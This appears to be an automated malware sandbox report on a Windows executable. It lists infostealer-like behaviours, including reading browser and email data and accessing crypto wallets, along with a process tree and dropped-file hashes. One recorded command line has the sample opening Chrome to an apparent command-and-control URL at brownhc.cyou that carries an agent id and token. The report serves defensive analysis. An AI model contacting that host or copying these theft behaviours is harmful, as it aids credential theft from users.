Resubmissions

23/06/2026, 01:01

260623-bdcp9ah13110

22/06/2026, 20:40

260622-zgabasgs9p10

Analysis

  • max time kernel
    900s
  • max time network
    472s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 01:01

General

  • Target
    4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe
  • Size 330KB
  • Sample260623-bdcp9ah131
  • SHA256 d1eb25b5a4f0134c100539242af892aa8b0342572575ecf4e9ec81a413524fee
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe
    "C:\Users\Admin\AppData\Local\Temp\4fb3129786468159035c45d81fcd7ba10f8591191d664da59bd0f26701d91ab9.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3664
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" brownhc.cyou/api/set_agent?id=5FE51177BD24956701AEC7B30ADF174C&token=9e67cf29a57d4c0b5161ec4c3a91&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff5331c728,0x7fff5331c734,0x7fff5331c740
        3⤵
          PID:5952
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1636,i,17828003385563671504,9113942231465535212,262144 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:2
          3⤵
            PID:5204
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1500,i,10664668560597256442,4025156513208130642,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:11
            3⤵
            • System Time Discovery
            PID:3404
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,17402198492041249237,9725136434200050527,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:13
            3⤵
              PID:1980
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3092,i,13940916062004553084,984728145208051189,2097152 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
              3⤵
                PID:5568
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3100,i,13533296400415228341,8759838698276252011,2097152 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:1
                3⤵
                  PID:5456
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4576,i,18389853823553629953,17703052154843446607,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:14
                  3⤵
                    PID:3308
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4600,i,16470783383354654398,13665320114551005152,524288 --field-trial-handle=1928,i,4364823227352215146,6475802487851409566,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:12
                    3⤵
                      PID:2720
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:5932
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:352
                    • C:\Windows\System32\SecurityHealthHost.exe
                      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                      1⤵
                        PID:4192

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            Cookies

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                            • Size 20KB
                            • SHA256 b116d424cb7f8ebdaacb602440b6c91e4f75dc09a4d931a4481f054da9a5b818
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 4KB
                            • SHA256 503f9861b091ea9beb0eebdff9d93653781b47423705a9dd09e4296dd5cd4475
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/3664-26-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

                            memory/3664-27-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

                            memory/3664-28-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

                            memory/3664-42-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

                            memory/3664-43-0x00000000022E0000-0x00000000022E6000-memory.dmp

                            memory/3664-44-0x00000000022E0000-0x00000000022E6000-memory.dmp